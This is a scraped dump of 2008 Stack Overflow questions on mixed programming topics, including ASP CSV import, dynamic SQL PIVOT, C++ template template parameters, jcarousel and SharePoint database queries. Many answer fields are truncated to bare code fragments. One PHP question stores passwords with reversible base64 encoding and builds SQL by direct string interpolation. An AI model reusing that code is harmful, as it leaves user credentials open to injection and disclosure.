<p>I have some written a number of unit tests that <strong><em>test a wrapper around a FTP server API</em>.</strong></p> <p>Both the unit tests and the FTP server are on the same machine.</p> <p>The wrapper API gets deployed to our platform and are used in both remoting and web service scenarios. The wrapper API essentially takes XML messages to perform tasks such as adding/deleting/updating users, changing passwords, modifying permissions...that kinda thing.</p> <p>In a unit test, say to add a user to a virtual domain, I create the XML message to send to the API. The API does it's work and returns a response with status information about whether the operation was successful or failed (error codes, validation failures etc).</p> <p>To verify whether the API wrapper code really did do the right thing (if the response indicated success), I invoke the FTP server's COM API and query its store directly to see if, for example when creating a user account, the user account really did get created.</p> <p>Does this smell bad?</p> <p><strong>Update 1:</strong> @Jeremy/Nick: The wrapper is the focus of the testing, the FTP server and its COM API are 3rd party products, presumably well tested and stable. The wrapper API has to parse the XML message and then invoke the FTP server's API. How would I verify, and this may be a silly case, that a particular property of the user account is set correctly by the wrapper. For example setting the wrong property or attribute of an FTP account due to a typo in the wrapper code. A good example being setting the upload and download speed limits, these may get transposed in the wrapper code.</p> <p><strong>Update 2:</strong> thanks all for the answers. To the folks who suggested using mocks, it had crossed my mind, but the light hasn't switched on there yet and I'm still struggling to get my head round how I would get my wrapper to work with a mock of the FTP server. Where would the mocks reside and do I pass an instance of said mocks to the wrapper API to use instead of calling the COM API? I'm aware of mocking but struggling to get my head round it, mostly because I find most of the examples and tutorials are so abstract and (I'm ashamed to say) verging on the incomprehensible.</p>
[ { "answer_id": 215969, "author": "Ates Goral", "author_id": 23501, "author_profile": "https://Stackoverflow.com/users/23501", "pm_score": 2, "selected": false, "text": "UploadFile" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213646", "https://Stackoverflow.com", "https://Stackoverflow.com/users/419/" ]
213,657
<p>I am using an ASP page where I have to read a CSV file and insert it into DB table "Employee". I am creating an object of TestReader. How can I write a loop to execute up to the number of rows/records of the CSV file which is being read?</p>
[ { "answer_id": 213739, "author": "jeff.willis", "author_id": 9829, "author_profile": "https://Stackoverflow.com/users/9829", "pm_score": 4, "selected": false, "text": "Dim strConn, conn, rs\n\nstrConn = \"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=\" & _\nServer.MapPath(\"path to folder\") & \";Extended Properties='text;HDR=Yes;FMT-Delimited';\"\n\nSet conn = Server.CreateObject(\"ADODB.Connection\")\nconn.Open strConn\n\nSet rs = Server.CreateObject(\"ADODB.recordset\")\nrs.open \"SELECT * FROM myfile.csv\", conn\n\nwhile not rs.eof\n ...\n rs.movenext\nwend\n" }, { "answer_id": 213756, "author": "Fionnuala", "author_id": 2548, "author_profile": "https://Stackoverflow.com/users/2548", "pm_score": 3, "selected": false, "text": "SELECT * INTO MyTable FROM OPENDATASOURCE('Microsoft.JET.OLEDB.4.0', \n'Data Source=F:\\MyDirectory;Extended Properties=\"text;HDR=No\"')...\n[MyCsvFile#csv]\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213657", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
213,661
<p>My application is a vb6 executable, but some newer forms in the system are written in C#. I would like to be able to set the C# form's Owner property using a handle to the main application window, so that the dialogs remain on top when tabbing back and forth between my app and other apps.</p> <p>I can get the hwnd of the main application window. I'm not sure what I can do from there?</p> <hr> <p><strong>UPDATE Oct 20 '08 at 17:06:</strong> </p> <p>Scott,</p> <p>Thanks for the response. I had overlooked that the Show/ShowDialog method parameter was not of type Form - I was looking only at the Owner property.</p> <p>I slightly modified the code I'm using from the above - we have a component that generically loads our Forms and calls ShowDialog. My code looks like this:</p> <pre><code>Form launchTarget = FormFactory.GetForm(xxx); // psuedo-code for generic form loader launchTarget.StartPosition = FormStartPosition.CenterParent; IWin32Window parentWindow = GetWindowFromHwnd(hwnd); launchTarget.ShowDialog(parentWindow); </code></pre> <p><code>GetWindowFromHwnd</code> is a method-wrapped version of your code:</p> <pre><code>private IWin32Window GetWindowFromHost(int hwnd) { IWin32Window window = null; IntPtr handle = new IntPtr(hwnd); try { NativeWindow nativeWindow = new NativeWindow(); nativeWindow.AssignHandle(handle); window = nativeWindow; } finally { handle = IntPtr.Zero; } return window; } </code></pre> <p>Unfortunately this isn't doing what I'd hoped. The form does display modally, but it's not showing up in the correct position nor is it still on top when I tab away and back to the parent window. Our modals do not show a task in the taskbar, so the window seemingly "disappears" (although it is still present in the alt-tab window list). That to me indicates I might not have the right hwnd. If you have any other suggestions though, please reply back. Thanks again.</p> <hr> <p><strong>UPDATE Nov 10 '08 at 16:25</strong> </p> <p>One follow up remark - If you factor it out into a method call in a try/finally, as in Scott's 2nd post, the call in the finally block should be:</p> <pre><code>parentWindow.ReleaseHandle(); </code></pre>
[ { "answer_id": 213751, "author": "Scott Dorman", "author_id": 1559, "author_profile": "https://Stackoverflow.com/users/1559", "pm_score": 4, "selected": true, "text": "Show()" }, { "answer_id": 219228, "author": "Scott Dorman", "author_id": 1559, "author_profile": "https://Stackoverflow.com/users/1559", "pm_score": 2, "selected": false, "text": "GetWindowFromHost" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213661", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3782/" ]
213,671
<p>Does anyone know of an easy way to import a legacy project, whose "version control system" is a series of dated folders, into SVN, so that the history of the revisions is preserved?</p> <p>The project I inherited was not under version control, and there are hundreds of folders, each dated like: 2006-11-26, 2006-11-27, etc... Thankfully it appears they did a pretty good job of diligently creating the folders, even when (for weeks) nothing changed.</p> <p>What I'd love is a script/tool that will create a new repository with the oldest folder, and then sequentially &amp; automatically apply all the subversion commands to transform each later folder into a new revision.</p> <p>I hope that makes sense. The old shell scripter in me is tempted to try to tackle this myself, but a) I'm sure it's more work than I'd initially imagine, b) it's not the best use of my time (I'm not an expert in writing shell scripts), and c) I bet someone's already done this.</p> <p>Extra Credit: have the script/tool also modify the timestamp properties, based on the folder names, so that the history in subversion was closer to reality.</p> <p>I hope that all makes sense.</p> <p>Thanks a lot for any help.</p> <p>P.S. I'd prefer to do this all under Linux, but if there is a (gasp!) Windows solution, beggars can't be choosers, can they?</p>
[ { "answer_id": 213753, "author": "Leigh Caldwell", "author_id": 3267, "author_profile": "https://Stackoverflow.com/users/3267", "pm_score": 2, "selected": false, "text": "for d in 200*\ndo\n cp -a $d/* svndir/\n cd svndir\n svn add *\n svn commit\n cd ..\ndone\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213671", "https://Stackoverflow.com", "https://Stackoverflow.com/users/28574/" ]
213,680
<p>I'm trying to use jcarousel to build a container with multiple rows, I've tried a few things but have had no luck. Can anyone make any suggestions on how to create it?</p>
[ { "answer_id": 242866, "author": "Sike", "author_id": 32025, "author_profile": "https://Stackoverflow.com/users/32025", "pm_score": 4, "selected": true, "text": "moduleWidth: null,\nrows:null,\n" }, { "answer_id": 6989454, "author": "Sanchitos", "author_id": 317832, "author_profile": "https://Stackoverflow.com/users/317832", "pm_score": 3, "selected": false, "text": "var defaults = {\n vertical: false,\n rtl: false,\n start: 1,\n offset: 1,\n size: null,\n scroll: 3,\n visible: null,\n animation: 'normal',\n easing: 'swing',\n auto: 0,\n wrap: null,\n initCallback: null,\n setupCallback: null,\n reloadCallback: null,\n itemLoadCallback: null,\n itemFirstInCallback: null,\n itemFirstOutCallback: null,\n itemLastInCallback: null,\n itemLastOutCallback: null,\n itemVisibleInCallback: null,\n itemVisibleOutCallback: null,\n animationStepCallback: null,\n buttonNextHTML: '<div></div>',\n buttonPrevHTML: '<div></div>',\n buttonNextEvent: 'click',\n buttonPrevEvent: 'click',\n buttonNextCallback: null,\n buttonPrevCallback: null,\n moduleWidth: null,\n rows: null,\n itemFallbackDimension: null\n }, windowLoaded = false;\n\n\n this.clip.addClass(this.className('jcarousel-clip')).css({\n position: 'relative',\n height: this.options.rows * this.options.moduleWidth\n });\n\n this.container.addClass(this.className('jcarousel-container')).css({\n position: 'relative',\n height: this.options.rows * this.options.moduleWidth\n });\n\n if (li.size() > 0) {\n var moduleCount = li.size();\n var wh = 0, j = this.options.offset;\n wh = this.options.moduleWidth * Math.ceil(moduleCount / this.options.rows);\n wh = wh + this.options.moduleWidth;\n\n li.each(function() {\n self.format(this, j++);\n //wh += self.dimension(this, di);\n });\n\n this.list.css(this.wh, wh + 'px');\n\n\n // Only set if not explicitly passed as option\n if (!o || o.size === undefined) {\n this.options.size = Math.ceil(li.size() / this.options.rows);\n }\n }\n" }, { "answer_id": 9464643, "author": "Joni", "author_id": 918269, "author_profile": "https://Stackoverflow.com/users/918269", "pm_score": 0, "selected": false, "text": "// Populate Album photos with support for multiple rows filling first columns, then rows, then pages\nvar carouselRows=3; // number of rows in the carousel\nvar carouselColumns=5 // number of columns per carousel page\nvar numItems=25; // the total number of items to display in jcarousel\n\nfor (var indexpage=0; indexpage<Math.ceil(numItems/(carouselRows*carouselColumns)); indexpage++) // for each carousel page\n{\n for (var indexcolumn = 0; indexcolumn<carouselColumns; indexcolumn++) // for each column on that carousel page\n {\n // handle cases with less columns than value of carouselColumns\n if (indexcolumn<numItems-(indexpage*carouselRows*carouselColumns))\n {\n var li = document.createElement('li');\n\n for (var indexrow = 0; indexrow < carouselRows; indexrow++) // for each row in that column\n {\n var indexitem = (indexpage*carouselRows*carouselColumns)+(indexrow*carouselColumns)+indexcolumn;\n\n // handle cases where there is no item for the row below\n if (indexitem<numItems) \n {\n var div = document.createElement('div'), img = document.createElement('img');\n img.src = imagesArray[indexitem]; // replace this by your images source\n div.appendChild(img);\n li.appendChild(div);\n }\n }\n $ul.append(li); // append to ul in the DOM\n }\n }\n}\n" }, { "answer_id": 11070122, "author": "eagle779", "author_id": 268008, "author_profile": "https://Stackoverflow.com/users/268008", "pm_score": 0, "selected": false, "text": "<div class=\"item\">contents</div>\n<div class=\"item\">contents</div>\n<div class=\"item\">contents</div>\n<div class=\"item\">contents</div>\n<div class=\"item\">contents</div>\n<div class=\"item\">contents</div>\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213680", "https://Stackoverflow.com", "https://Stackoverflow.com/users/16195/" ]
213,683
<p>I'm doing something like the following:</p> <pre><code>SELECT * FROM table WHERE user='$user'; $myrow = fetchRow() // previously I inserted a pass to the db using base64_encode ex: WRM2gt3R= $somepass = base64_encode($_POST['password']); if($myrow[1] != $somepass) echo 'error'; else echo 'welcome'; </code></pre> <p>Im always getting error, I even echo $somepass and $myrow[1] they are the same, but still error. What Am I doing wrong? Thanks</p>
[ { "answer_id": 213696, "author": "Greg", "author_id": 24181, "author_profile": "https://Stackoverflow.com/users/24181", "pm_score": 3, "selected": true, "text": "var_dump" }, { "answer_id": 213707, "author": "myplacedk", "author_id": 28683, "author_profile": "https://Stackoverflow.com/users/28683", "pm_score": 0, "selected": false, "text": "echo \"<br />$myrow[1] != $somepass\";\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213683", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
213,702
<p>I am working with a set of data that looks something like the following.</p> <blockquote> <pre><code>StudentName | AssignmentName | Grade --------------------------------------- StudentA | Assignment 1 | 100 StudentA | Assignment 2 | 80 StudentA | Total | 180 StudentB | Assignment 1 | 100 StudentB | Assignment 2 | 80 StudentB | Assignment 3 | 100 StudentB | Total | 280 </code></pre> </blockquote> <p>The name and number of assignments are dynamic, I need to get results simlilar to the following.</p> <blockquote> <pre><code>Student | Assignment 1 | Assignment 2 | Assignment 3 | Total -------------------------------------------------------------------- Student A | 100 | 80 | null | 180 Student B | 100 | 80 | 100 | 280 </code></pre> </blockquote> <p>Now ideally I would like to sort the column based on a "due date" that could be included/associated with each assignment. The total should be at the end if possible (It can be calculated and removed from the query if possible.)</p> <p>I know how to do it for the 3 assignments using pivot with simply naming the columns, it is trying to do it in a dynamic fashion that I haven't found a GOOD solution for yet. I am trying to do this on SQL Server 2005</p> <p><strong>EDIT</strong></p> <p>Ideally I would like to implement this WITHOUT using Dynamic SQL, as that is against the policy. If it isn't possible...then a working example with Dynamic SQL will work.</p>
[ { "answer_id": 213850, "author": "Cade Roux", "author_id": 18255, "author_profile": "https://Stackoverflow.com/users/18255", "pm_score": 5, "selected": true, "text": "SQL" }, { "answer_id": 2207626, "author": "Prasad", "author_id": 267120, "author_profile": "https://Stackoverflow.com/users/267120", "pm_score": -1, "selected": false, "text": "select studentname,[Assign1],[Assign2],[Assign3],[Total] \nfrom \n(\n select studentname, assignname, grade from student\n)s\npivot(sum(Grade) for assignname IN([Assign1],[Assign2],[Assign3],[Total])) as pvt\n" }, { "answer_id": 12581700, "author": "Chirag Patel", "author_id": 1697054, "author_profile": "https://Stackoverflow.com/users/1697054", "pm_score": -1, "selected": false, "text": "SELECT TrnType\nINTO #Temp1\nFROM\n(\n SELECT '[' + CAST(TransactionType AS VARCHAR(4)) + ']' AS TrnType FROM tblPaymentTransactionTypes\n) AS tbl1\n\nSELECT * FROM #Temp1\n\nSELECT * FROM\n(\n SELECT FirstName + ' ' + LastName AS Patient, TransactionType, ISNULL(PostedAmount, 0) AS PostedAmount\n FROM tblPaymentTransactions\n INNER JOIN emr_PatientDetails ON tblPaymentTransactions.PracticeID = emr_PatientDetails.PracticeId\n INNER JOIN tblPaymentTransactionDetails ON emr_PatientDetails.PatientId = tblPaymentTransactionDetails.PatientID\n AND tblPaymentTransactions.TransactionID = tblPaymentTransactionDetails.TransactionID\n WHERE emr_PatientDetails.PracticeID = 152\n) tbl\nPIVOT (SUM(PostedAmount) FOR [TransactionType] IN (SELECT * FROM #Temp1)\n) AS tbl4\n" }, { "answer_id": 13992000, "author": "Taryn", "author_id": 426671, "author_profile": "https://Stackoverflow.com/users/426671", "pm_score": 4, "selected": false, "text": "PIVOT" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213702", "https://Stackoverflow.com", "https://Stackoverflow.com/users/13279/" ]
213,735
<p>What is the most efficient way to store large arrays (10000x100) in a database, say, hsqldb? I need to do this for a certain math program that I'm writing in java. Please help. The whole array will be retrieved and stored often (not so much individual elements). Also, some meta-data about the array needs to be stored about the array.</p>
[ { "answer_id": 214547, "author": "ddimitrov", "author_id": 18187, "author_profile": "https://Stackoverflow.com/users/18187", "pm_score": 1, "selected": false, "text": " Name | IndexKey | Value\n------+-----------+-------\n foo | 'default' | 39 \n foo | 0:0:0 | 23\n foo | 0:0:1 | 34\n foo | 1:5:0 | 12\n ...\n bar | 1:3:8 | 20\n bar | 1:3:8 | 23\n bar | 1:1:1 | 24\n bar | 3:0:6 | 54\n ...\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213735", "https://Stackoverflow.com", "https://Stackoverflow.com/users/12649/" ]
213,750
<p>I know that Internet Explorer has some proprietary extensions so that you can do things like create divs with a gradient background. I can't remember the element name or it's usage. Does anyone have some examples or links?</p>
[ { "answer_id": 213771, "author": "vmarquez", "author_id": 10740, "author_profile": "https://Stackoverflow.com/users/10740", "pm_score": 2, "selected": false, "text": "<body bgcolor=\"#000000\" topmargin=\"0\" leftmargin=\"0\">\n\n <div style=\"width:100%;height:100%; filter: progid:\n DXImageTransform.Microsoft.Gradient (GradientType=1,\n StartColorStr='#FF006600', EndColorStr='#ff456789')\">\n\nYour page content goes in here ...... at the end of all the page content, you must close the <div> tag, immediately before the closing <body> tag.... as below\n\n </div>\n</body>\n" }, { "answer_id": 2926310, "author": "James Lawruk", "author_id": 88204, "author_profile": "https://Stackoverflow.com/users/88204", "pm_score": 4, "selected": false, "text": "filter" }, { "answer_id": 3069832, "author": "Blowsie", "author_id": 370286, "author_profile": "https://Stackoverflow.com/users/370286", "pm_score": 6, "selected": false, "text": "background: #0A284B;\nbackground: -webkit-gradient(linear, left top, left bottom, from(#0A284B), to(#135887));\nbackground: -webkit-linear-gradient(#0A284B, #135887);\nbackground: -moz-linear-gradient(top, #0A284B, #135887);\nbackground: -ms-linear-gradient(#0A284B, #135887);\nbackground: -o-linear-gradient(#0A284B, #135887);\nbackground: linear-gradient(#0A284B, #135887);\nfilter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#0A284B', endColorstr='#135887');\nzoom: 1;\n" }, { "answer_id": 6537622, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 1, "selected": false, "text": ".red {\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#e02a42', endColorstr='#a91903', GradientType=0); /* IE6-9 */\n height: 0; /* gain layout IE5+ */ \n zoom: 1; /* gain layout IE7+ */\n}\n" }, { "answer_id": 6710478, "author": "TimKola", "author_id": 846852, "author_profile": "https://Stackoverflow.com/users/846852", "pm_score": 2, "selected": false, "text": "background: -ms-linear-gradient(#017ac1, #00bcdf);\n" }, { "answer_id": 8569606, "author": "Jonathan Moffatt", "author_id": 45031, "author_profile": "https://Stackoverflow.com/users/45031", "pm_score": 3, "selected": false, "text": "filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#FCCA6D', endColorstr='#FEFEFE');\nzoom:1;\n" }, { "answer_id": 10351523, "author": "thezar", "author_id": 978036, "author_profile": "https://Stackoverflow.com/users/978036", "pm_score": 3, "selected": false, "text": "/* IE10 */ \nbackground-image: -ms-linear-gradient(top, #FFFFFF 0%, #B7B8BD 300%);\n\n/* Mozilla Firefox */ \nbackground-image: -moz-linear-gradient(top, #FFFFFF 0%, #B7B8BD 300%);\n\n/* Opera */ \nbackground-image: -o-linear-gradient(top, #FFFFFF 0%, #B7B8BD 300%);\n\n/* Webkit (Safari/Chrome 10) */ \nbackground-image: -webkit-gradient(linear, left top, left bottom, color-stop(0, #FFFFFF), color-stop(3, #B7B8BD));\n\n/* Webkit (Chrome 11+) */ \nbackground-image: -webkit-linear-gradient(top, #FFFFFF 0%, #B7B8BD 300%);\n\n/* Proposed W3C Markup */ \nbackground-image: linear-gradient(top, #FFFFFF 0%, #B7B8BD 300%);\n" }, { "answer_id": 10471859, "author": "Vincent", "author_id": 1380479, "author_profile": "https://Stackoverflow.com/users/1380479", "pm_score": 0, "selected": false, "text": "-ms-filter" }, { "answer_id": 64337535, "author": "AbdusSalam", "author_id": 3331450, "author_profile": "https://Stackoverflow.com/users/3331450", "pm_score": 0, "selected": false, "text": "<meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" /> \n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213750", "https://Stackoverflow.com", "https://Stackoverflow.com/users/9266/" ]
213,761
<p>I've seen some examples of C++ using template template parameters (that is templates which take templates as parameters) to do policy-based class design. What other uses does this technique have?</p>
[ { "answer_id": 213811, "author": "Evan Teran", "author_id": 13430, "author_profile": "https://Stackoverflow.com/users/13430", "pm_score": 9, "selected": true, "text": "template <template<class> class H, class S>\nvoid f(const H<S> &value) {\n}\n" }, { "answer_id": 214900, "author": "yoav.aviram", "author_id": 25287, "author_profile": "https://Stackoverflow.com/users/25287", "pm_score": 6, "selected": false, "text": "// Library code\ntemplate <template <class> class CreationPolicy>\nclass WidgetManager : public CreationPolicy<Widget>\n{\n ...\n};\n" }, { "answer_id": 6726127, "author": "Mikhail Sirotenko", "author_id": 460436, "author_profile": "https://Stackoverflow.com/users/460436", "pm_score": 4, "selected": false, "text": "template <class T> class Tensor\n" }, { "answer_id": 12806463, "author": "Mark McKenna", "author_id": 584585, "author_profile": "https://Stackoverflow.com/users/584585", "pm_score": 4, "selected": false, "text": "template <typename DERIVED, typename VALUE> class interface {\n void do_something(VALUE v) {\n static_cast<DERIVED*>(this)->do_something(v);\n }\n};\n\ntemplate <typename VALUE> class derived : public interface<derived, VALUE> {\n void do_something(VALUE v) { ... }\n};\n\ntypedef interface<derived<int>, int> derived_t;\n" }, { "answer_id": 14311714, "author": "pfalcon", "author_id": 496009, "author_profile": "https://Stackoverflow.com/users/496009", "pm_score": 8, "selected": false, "text": "template<typename T>\nstatic inline std::ostream& operator<<(std::ostream& out, std::list<T> const& v)\n{\n out << '[';\n if (!v.empty()) {\n for (typename std::list<T>::const_iterator i = v.begin(); ;) {\n out << *i;\n if (++i == v.end())\n break;\n out << \", \";\n }\n }\n out << ']';\n return out;\n}\n" }, { "answer_id": 23930985, "author": "Cookie", "author_id": 698504, "author_profile": "https://Stackoverflow.com/users/698504", "pm_score": 4, "selected": false, "text": "template<class A>\nclass B\n{\n A& a;\n};\n\ntemplate<class B>\nclass A\n{\n B b;\n};\n\nclass AInstance : A<B<A<B<A<B<A<B<... (oh oh)>>>>>>>>\n{\n\n};\n" }, { "answer_id": 28597414, "author": "Kuberan Naganathan", "author_id": 3962477, "author_profile": "https://Stackoverflow.com/users/3962477", "pm_score": 2, "selected": false, "text": "#include <iostream>\n#include <vector>\n#include <deque>\n#include <list>\n#include <map>\n\nnamespace containerdisplay\n{\n template<typename T, template<class,class...> class C, class... Args>\n std::ostream& operator <<(std::ostream& os, const C<T,Args...>& objs)\n {\n std::cout << __PRETTY_FUNCTION__ << '\\n';\n for (auto const& obj : objs)\n os << obj << ' ';\n return os;\n } \n}\n\ntemplate< typename K, typename V>\nstd::ostream& operator << ( std::ostream& os, \n const std::map< K, V > & objs )\n{ \n\n std::cout << __PRETTY_FUNCTION__ << '\\n';\n for( auto& obj : objs )\n { \n os << obj.first << \": \" << obj.second << std::endl;\n }\n\n return os;\n}\n\n\nint main()\n{\n\n {\n using namespace containerdisplay;\n std::vector<float> vf { 1.1, 2.2, 3.3, 4.4 };\n std::cout << vf << '\\n';\n\n std::list<char> lc { 'a', 'b', 'c', 'd' };\n std::cout << lc << '\\n';\n\n std::deque<int> di { 1, 2, 3, 4 };\n std::cout << di << '\\n';\n }\n\n std::map< std::string, std::string > m1 \n {\n { \"foo\", \"bar\" },\n { \"baz\", \"boo\" }\n };\n\n std::cout << m1 << std::endl;\n\n return 0;\n}\n" }, { "answer_id": 30337689, "author": "imallett", "author_id": 688624, "author_profile": "https://Stackoverflow.com/users/688624", "pm_score": 3, "selected": false, "text": "#include <vector>\n\ntemplate <class T> class Alloc final { /*...*/ };\n\ntemplate <template <class T> class allocator=Alloc> class MyClass final {\n public:\n std::vector<short,allocator<short>> field0;\n std::vector<float,allocator<float>> field1;\n};\n" }, { "answer_id": 45967564, "author": "colin", "author_id": 3133205, "author_profile": "https://Stackoverflow.com/users/3133205", "pm_score": 2, "selected": false, "text": "template <typename T> void print_container(const T& c)\n{\n for (const auto& v : c)\n {\n std::cout << v << ' ';\n }\n std::cout << '\\n';\n}\n" }, { "answer_id": 58157563, "author": "cd127", "author_id": 2834727, "author_profile": "https://Stackoverflow.com/users/2834727", "pm_score": 2, "selected": false, "text": "MyType<version>" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213761", "https://Stackoverflow.com", "https://Stackoverflow.com/users/4086/" ]
213,784
<p>I have the following in my web.config:</p> <pre><code>&lt;location path="RestrictedPage.aspx"&gt; &lt;system.web&gt; &lt;authorization&gt; &lt;allow roles="Group1Admin, Group3Admin, Group7Admin"/&gt; &lt;deny users="*"/&gt; &lt;/authorization&gt; &lt;/system.web&gt; &lt;/location&gt; </code></pre> <p>Within RestrictedPage.aspx.cs, how do I retrieve the allowed roles collection that contains Group1Admin, Group3Admin, and Group7Admin?</p> <p>Here's why I ask:</p> <p>The web.config is handling the authorization to the page. That works fine. But I'm going to have a couple of these pages (say RestrictedPage.aspx, RestrictedPage2.aspx, RestrictedPage3.aspx). Each of these pages is going to have my custom webcontrol on it. And each of these pages will have different allowed roles. My webcontrol has a dropdown list. The choices within the dropdown depend on the intersection of the user's roles and the page's allowed roles.</p> <p>As mentioned below, searching the web.config with XPath would probably work. I was just hoping for something more framework-y. Kind of like SiteMap. When I put roles in my web.sitemap, I can grab them using SiteMap.CurrentNode.Roles (my website is using Windows authentication, so I can't use web.sitemap for security trimming and I'd rather maintain roles in only one file).</p>
[ { "answer_id": 213815, "author": "Kolten", "author_id": 13959, "author_profile": "https://Stackoverflow.com/users/13959", "pm_score": 0, "selected": false, "text": "if {User.IsInRole(\"Group1Admin\"){//do stuff}\n" }, { "answer_id": 213853, "author": "Ed Altorfer", "author_id": 26552, "author_profile": "https://Stackoverflow.com/users/26552", "pm_score": 0, "selected": false, "text": "XmlDocument webConfigReader = new XmlDocument(); \nwebConfigReader.Load(Server.MapPath(\"web.config\")); \n\nXmlNodeList root = webConfigReader.SelectNodes(\"//location[@path=\"RestrictedPage.aspx\"]//allow//@roles\"); \n\nforeach (XmlNode node in root) \n{ \n Response.Write(node.Value); \n} \n" }, { "answer_id": 213979, "author": "Dillie-O", "author_id": 71, "author_profile": "https://Stackoverflow.com/users/71", "pm_score": 0, "selected": false, "text": "Sub Application_AuthenticateRequest(ByVal sender As Object, ByVal e As EventArgs)\n\n Dim formsAuthTicket As FormsAuthenticationTicket\n Dim httpCook As HttpCookie\n Dim objGenericIdentity As GenericIdentity\n Dim objMyAppPrincipal As CustomPrincipal\n Dim strRoles As String()\n\n Log.Info(\"Starting Application AuthenticateRequest Method...\")\n\n httpCook = Context.Request.Cookies.Get(\"authCookieEAF\")\n formsAuthTicket = FormsAuthentication.Decrypt(httpCook.Value)\n objGenericIdentity = New GenericIdentity(formsAuthTicket.Name)\n strRoles = formsAuthTicket.UserData.Split(\"|\"c)\n objMyAppPrincipal = New CustomPrincipal(objGenericIdentity, strRoles)\n HttpContext.Current.User = objMyAppPrincipal\n\n Log.Info(\"Application AuthenticateRequest Method Complete.\")\n\nEnd Sub\n" }, { "answer_id": 214264, "author": "makstaks", "author_id": 1100768, "author_profile": "https://Stackoverflow.com/users/1100768", "pm_score": 3, "selected": true, "text": "// set the configuration path to your config file\nstring configPath = \"??\";\n\nConfiguration config = WebConfigurationManager.OpenWebConfiguration(configPath);\n\n// Get the object related to the <identity> section.\nAuthorizationSection section = (AuthorizationSection)config.GetSection(\"system.web/authorization\");\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213784", "https://Stackoverflow.com", "https://Stackoverflow.com/users/27482/" ]
213,798
<p>I've got some experience with <a href="http://en.wikipedia.org/wiki/Bash_%28Unix_shell%29" rel="noreferrer">Bash</a>, which I don't mind, but now that I'm doing a lot of Windows development I'm needing to do basic stuff/write basic scripts using the Windows command-line language. For some reason said language really irritates me, so I was considering learning Python and using that instead.</p> <p>Is Python suitable for such things? Moving files around, creating scripts to do things like unzipping a backup and restoring a SQL database, etc.</p>
[ { "answer_id": 213827, "author": "Greg Hewgill", "author_id": 893, "author_profile": "https://Stackoverflow.com/users/893", "pm_score": 2, "selected": false, "text": "make" }, { "answer_id": 216285, "author": "e-satis", "author_id": 9951, "author_profile": "https://Stackoverflow.com/users/9951", "pm_score": 4, "selected": false, "text": "python -c \"for line in open('/etc/fstab') : print line\"\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213798", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1512/" ]
213,801
<p>I need to get a list of all documents in a site collection, which I believe I can do with either the alldocs table or the alluserdata table (MOSS 2007 SP1) but do not see how I can get the author information for the document. I do not need the contents of the document (e.g. AllDocStreams content)</p> <p><strong>Something like this:</strong></p> <pre><code>SELECT tp_DirName, tp_LeafName, tp_Version, tp_Modified, tp_Created FROM AllUserData WHERE (tp_ContentType = 'Document') AND (tp_LeafName NOT LIKE '%.css') AND (tp_LeafName NOT LIKE '%.jpg') AND (tp_LeafName NOT LIKE '%.png') AND (tp_LeafName NOT LIKE '%.wmf') AND (tp_LeafName NOT LIKE '%.gif') AND (tp_DirName NOT LIKE '%Template%') AND (tp_IsCurrentVersion = 1) AND (tp_LeafName NOT LIKE '%.xsl') ORDER BY tp_SiteId, tp_ListId, tp_DirName, tp_LeafName, tp_IsCurrentVersion DESC </code></pre> <p><strong>Is there a better way to go about this?</strong></p>
[ { "answer_id": 726063, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 3, "selected": false, "text": "Select * \nFrom your_content_database.dbo.AllDocs With (NoLock)\n" }, { "answer_id": 726633, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 2, "selected": false, "text": "Select Top 100 \n W.FullUrl, \n W.Title, \n L.tp_Title as ListTitle, \n A.tp_DirName, \n A.tp_LeafName, \n A.tp_id , \n DS.Content , \n DS.Size, \n D.DocLibRowID, \n D.TimeCreated, \n D.Size, \n D.MetaInfoTimeLastModified, \n D.ExtensionForFile \nFrom your_content_database.dbo.AllLists L With (NoLock) \njoin your_content_database.dbo.AllUserData A With (NoLock) \n On L.tp_ID=tp_ListId \njoin your_content_database.dbo.AllDocs D With (NoLock) \n On A.tp_ListID=D.ListID \n And A.tp_SiteID=D.SiteID \n And A.tp_DirName=D.DirName \n And A.tp_LeafName=D.LeafName \njoin your_content_database.dbo.AllDocStreams DS With (NoLock) \n On DS.SiteID=A.tp_SiteID \n And DS.ParentID=D.ParentID \n And DS.ID=D.ID \njoin your_content_database.dbo.Webs W With (NoLock) \n On W.ID=D.WebID \n And W.ID=L.Tp_WebID \n And W.SiteID=A.tp_SiteID \nWhere DS.DeleteTransactionID=0x \n And D.DeleteTransactionID=0x \n And D.IsCurrentVersion=1 \n And A.tp_DeleteTransactionID=0x \n And A.tp_IsCurrentVersion=1 \n And D.HasStream=1 \n And L.tp_DeleteTransactionId=0x \n And ExtensionForFile not in('webpart','dwp','aspx','xsn','master','rules','xoml') \n And D.MetaInfoTimeLastModified>DateAdd(d,-1,GetDate()) \nOrder by DS.Size desc\n" }, { "answer_id": 6900546, "author": "Ulf", "author_id": 523618, "author_profile": "https://Stackoverflow.com/users/523618", "pm_score": 2, "selected": false, "text": "select * from `shared documents`\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213801", "https://Stackoverflow.com", "https://Stackoverflow.com/users/25642/" ]
213,814
